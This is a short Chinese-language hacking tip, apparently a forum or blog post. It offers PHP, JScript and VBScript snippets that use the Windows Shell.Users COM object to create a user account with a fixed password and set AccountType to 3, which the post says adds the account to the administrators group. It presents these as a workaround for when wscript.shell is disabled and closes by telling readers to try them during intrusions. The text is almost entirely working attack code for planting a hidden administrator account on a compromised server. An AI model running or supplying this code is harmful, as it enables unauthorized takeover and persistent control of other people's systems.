在php环境下wscript.shell 组件被禁用不妨试试shell.user
1. <?php
2. echo "<div align=center><b>PHP 版Shell.Users加管理员帐号</b></div>";
3. $username="IceSkin";
4. $password="skin.com";
5. $su = new COM("Shell.Users");
6. $h=$su->create($username);
7. $h->changePassword($password,"");
8. $h->setting["AccountType"] = 3;//这句很重要可以把用户加入administrators 组,
9. ?>
下面是 LCX 的代码
1. //js:
2. var o=new ActiveXObject( "Shell.Users" );
3. z=o.create("test") ;
4. z.changePassword("123456","")
5. z.setting("AccountType")=3;
vbs:
1. Set o=CreateObject( "Shell.Users" )
2. Set z=o.create("test")
3. z.changePassword "123456",""
4. z.setting("AccountType")=3
在渗透的时候试试这些资料吧。